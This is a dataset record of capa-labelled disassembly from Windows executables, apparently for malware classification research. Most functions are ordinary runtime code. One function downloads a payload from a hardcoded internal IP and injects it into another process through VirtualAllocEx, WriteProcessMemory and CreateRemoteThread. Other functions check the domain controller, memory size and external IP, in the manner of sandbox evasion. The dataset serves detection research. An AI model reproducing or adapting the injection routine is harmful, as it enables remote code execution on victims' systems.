joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400117e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov dword [rax + 0x18], r8d
push rdi
sub rsp, 0x40
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
mov qword [rax - 0x18], rbx
mov dword [rax + 0x20], 1
call fcn.1400142c8
test rax, rax
je 0x140011827
mov edx, dword [rsp + 0x60]
mov r8, rax
mov rcx, rdi
call fcn.140017c70
test eax, eax
sete bl
jmp 0x14001189c
call fcn.140011530
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
mov r9d, 0x20019
test eax, eax
lea rax, [rsp + 0x30]
mov rcx, 0xffffffff80000001
cmovne rdx, qword [str.SOFTWAREAppDataLowSOFTWAREJavaSoftDeploymentPropertiespending]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011865
xor eax, eax
jmp 0x14001189e
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rsi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140011891
lea ebx, [rax + 1]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x140011ab0
Capabilities:
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
mov rdi, rdx
mov rsi, rcx
mov qword [rax + 0x18], rbx
call fcn.1400118c0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebp, [rax + rax + 2]
call fcn.140011530
mov rdx, qword [str.SOFTWAREJavaSoftDeploymentPropertiespending]
test eax, eax
lea rax, [rsp + 0x50]
mov r9d, 0x20006
cmovne rdx, qword [str.SOFTWAREAppDataLowSOFTWAREJavaSoftDeploymentPropertiespending]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140011b20
xor eax, eax
jmp 0x140011b55
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rdi
mov edi, 1
xor r8d, r8d
mov rdx, rsi
mov r9d, edi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140011b48
mov ebx, edi
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x140011e50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
mov eax, 0x1040
call fcn.140013990
sub rsp, rax
mov rax, qword [0x140040b80]
xor rax, rsp
mov qword [rsp + 0x1030], rax
lea rcx, [rsp + 0x30]
mov edx, 0x400
call qword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
xor ebx, ebx
test eax, eax
je 0x140011ed5
lea rax, str.DeploymentRuleSet.jar
lea r9, [rsp + 0x30]
lea r8, str._sSunJavaDeployment_s
lea rcx, [rsp + 0x830]
mov edx, 0x400
mov qword [rsp + 0x20], rax
call fcn.14001255c
test eax, eax
jle 0x140011ed5
lea rcx, [rsp + 0x830]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140011ed1
test al, 0x10
jne 0x140011ed1
mov ebx, 1
mov eax, ebx
jmp 0x140011ed7
xor eax, eax
mov rcx, qword [rsp + 0x1030]
xor rcx, rsp
call fcn.1400130b0
add rsp, 0x1040
pop rbx
ret

Function at 0x140014a80
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400148f0

Function at 0x140015cb8
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140015cce
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140015cd0
xor eax, eax
test eax, eax
je 0x140015ce0
mov ecx, eax
call fcn.1400163e0
or eax, 0xffffffff
jmp 0x140015ce2
xor eax, eax
add rsp, 0x28
ret

Function at 0x14001acfb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140040b80]
jne 0x1400130ca
rol rcx, 0x10
test cx, 0xffff
jne 0x1400130c6
repz ret
ror rcx, 0x10
jmp 0x14001ac54
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140057aa0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140057b98]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001acd9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140057aa0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001acfb
mov rax, qword [rsp + 0x88]
mov qword [0x140057b98], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140057b38], rax
mov rax, qword [0x140057b98]
mov qword [0x140057a10], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140057b20], rax
mov dword [0x140057a00], 0xc0000409
mov dword [0x140057a04], 1
mov rax, qword [0x140040b80]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140040b88]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140057a98], eax
mov ecx, 1
call fcn.140028774
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140032610]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140057a98], 0
jne 0x14001ad82
mov ecx, 1
call fcn.140028774
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x14002380c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x20
mov ebx, edx
test rcx, rcx
jne 0x140023836
call fcn.1400163c0
and dword [rax], 0
call fcn.1400163a0
mov ebx, socket
mov dword [rax], ebx
call fcn.14001ac34
mov eax, ebx
jmp 0x140023886
test edx, 0xfffffff9
jne 0x140023819
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14002385f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400163e0
call fcn.1400163a0
mov eax, dword [rax]
jmp 0x140023886
test al, 0x10
jne 0x140023884
test al, 1
je 0x140023884
test bl, 2
je 0x140023884
call fcn.1400163c0
mov dword [rax], 5
call fcn.1400163a0
mov dword [rax], reloc.WSOCK32.dll_listen
jmp 0x140023856
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140029320
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140040b80]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14001b964
xor ebx, ebx
cmp qword [0x140058b58], rbx
mov rdi, rax
jne 0x140029433
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14002950a
lea rdx, [0x1400343f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14002950a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140058b58], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140058b60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140058b68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140058b78], rax
test rax, rax
je 0x14002942a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140058b70], rax
jmp 0x14002943a
mov rax, qword [0x140058b70]
jmp 0x140029441
mov rax, qword [0x140058b70]
mov r11, qword [0x140058b78]
cmp rax, rdi
je 0x1400294a8
cmp r11, rdi
je 0x1400294a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140058b78]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400294a8
test rax, rax
je 0x1400294a8
call rsi
test rax, rax
je 0x1400294a2
lea rcx, [rsp + 0x30]
mov r9d, ntohs
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400294a2
test byte [rsp + 0x40], 1
jne 0x1400294a8
bts ebp, 0x15
jmp 0x1400294e8
mov rcx, qword [0x140058b60]
cmp rcx, rdi
je 0x1400294e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400294e8
call rax
mov rbx, rax
test rax, rax
je 0x1400294e8
mov rcx, qword [0x140058b68]
cmp rcx, rdi
je 0x1400294e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400294e8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140058b58]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14002950a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14002950c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400130b0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400054b0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400054c0]
mov dword [rax], 1
mov rax, qword [0x1400054d0]
mov dword [rax], 1
mov rax, qword [0x140005440]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400054a0]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140005580]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140005560]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140005410]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140005500]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140005510]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140005470]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400054f0]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call dbg.__main
mov rax, qword [0x140005480]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call dbg.main
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140005510]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140005530]
mov rcx, qword [0x140005520]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140005550]
mov rcx, qword [0x140005540]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Create thread
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0x2b8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x228], 0x1fe
mov dword [rbp + 0x224], 0x3000
mov dword [rbp + 0x220], 0x40
mov r8d, 0x1828
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x218], rax
lea rax, str.http:__172.18.43.42:8000_index.raw
mov qword [rbp + 0x210], rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140001a18
lea rdx, [rbp + 0x1f8]
mov rax, qword [rbp + 0x210]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLOpenBlockingStreamA
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
add rax, 0x18
mov r10, qword [rax]
mov rax, qword [rbp + 0x1f8]
mov rcx, rax
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x10]
mov r9, rdx
mov r8d, 0x1fe
mov rdx, rax
call r10
mov eax, dword [rbp - 0x14]
test eax, eax
je 0x14000153a
mov eax, dword [rbp - 0x14]
mov ecx, eax
lea rdx, [rbp - 0x10]
lea rax, [rbp - 0x40]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append_char_const__unsigned_long_long_
jmp 0x1400014e7
nop
mov r8d, dword [rbp + 0x224]
mov rcx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x218]
mov edx, dword [rbp + 0x220]
mov dword [rsp + 0x20], edx
mov r9d, r8d
mov r8, rcx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x208], rax
mov r9, qword [rbp + 0x228]
lea r8, [rbp - 0x10]
mov rdx, qword [rbp + 0x208]
mov rax, qword [rbp + 0x218]
lea rcx, [rbp + 0x200]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rcx, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x228]
mov rax, qword [rbp + 0x218]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov rax, qword [rbp + 0x1f8]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp + 0x1f8]
mov rcx, rdx
call rax
mov ebx, 0
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x14000163b
add rsp, 0x2b8
pop rbx
pop rbp
ret
Function at 0x140001645
Capabilities:
Get domain controller name

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.140001a18
lea rax, [rbp - 0x20]
mov r8, rax
mov edx, 0
mov ecx, 0
call sym.NetGetDCName
lea rax, [rbp - 0x12]
mov qword [rbp - 8], rax
nop
nop
mov rdx, qword [rbp - 0x20]
lea rcx, [rbp - 0x12]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call dbg.std::__cxx11::basic_string<wchar_t, std::char_traits<wchar_t>, std::allocator<wchar_t> >::basic_string<std::allocator<wchar_t> >(wchar_t const*, std::allocator<wchar_t> const&)
lea rax, [rbp - 0x12]
mov rcx, rax
call dbg.std::__new_allocator<wchar_t>::~__new_allocator()
nop
lea rax, [rbp - 0x11]
mov qword [rbp - 0x10], rax
nop
nop
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::end__
mov rbx, rax
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::begin__
mov rdx, rax
lea rcx, [rbp - 0x11]
lea rax, [rbp - 0x80]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string___gnu_cxx::__normal_iterator_wchar_t__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t_______void____gnu_cxx::__norma
lea rax, [rbp - 0x11]
mov rcx, rax
call dbg.std::__new_allocator<char>::~__new_allocator()
nop
lea rax, [rbp - 0x80]
mov rdx, rax
mov rax, qword [sym.imp.libstdc_6.dll_std::cout]
mov rcx, rax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x80]
mov r8d, 0
lea rdx, [0x140005023]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::find_char_const__unsigned_long_long__const
test rax, rax
setne al
test al, al
je 0x140001731
mov ebx, 0
jmp 0x140001736
mov ebx, 1
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400017b9
add rsp, 0xa8
pop rbx
pop rbp
ret
Function at 0x1400017c3
Capabilities:
Get memory capacity

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x40], 0x40
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x38]
shr rax, 0x1e
test rax, rax
js 0x1400017fa
pxor xmm0, xmm0
cvtsi2sd xmm0, rax
jmp 0x140001813
mov rdx, rax
shr rdx, 1
and eax, 1
or rdx, rax
pxor xmm0, xmm0
cvtsi2sd xmm0, rdx
addsd xmm0, xmm0
movsd xmm1, qword [0x140005088]
comisd xmm0, xmm1
jb 0x140001828
mov eax, 1
jmp 0x14000182d
mov eax, 0
add rsp, 0x60
pop rbp
ret

Function at 0x140001833
Capabilities:
Download url
Receive data

Disassembly:
push rbp
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0xa0]
lea rax, str.https:__ifconfig.me_ip
mov qword [rbp - 8], rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140001a18
lea rdx, [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLOpenBlockingStreamA
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
add rax, 0x18
mov r10, qword [rax]
mov rax, qword [rbp - 0x10]
mov rcx, rax
lea rdx, [rbp - 0x64]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0x23
mov rdx, rax
call r10
mov eax, dword [rbp - 0x64]
test eax, eax
je 0x1400018cf
mov eax, dword [rbp - 0x64]
mov ecx, eax
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append_char_const__unsigned_long_long_
jmp 0x140001882
nop
lea rax, [rbp - 0x30]
lea rdx, str.192.168.1.11
mov rcx, rax
call dbg.bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)
test al, al
je 0x1400018ee
mov ebx, 1
jmp 0x1400018f3
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x14000191d
add rsp, 0xa8
pop rbx
pop rbp
ret

Function at 0x140001d50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140008094]
mov rbx, rcx
test esi, esi
jle 0x140001ef0
mov rax, qword [0x140008098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001e0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001e95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001df0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001f12
mov rax, qword [0x140008098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140008098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001ef7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001e8e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001ea0
add dword [0x140008094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140008098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001e18
mov rax, qword [0x140008098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400024a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x1400024fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400024f3
test eax, eax
jne 0x1400024f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400024d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002710
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002728
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002730
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret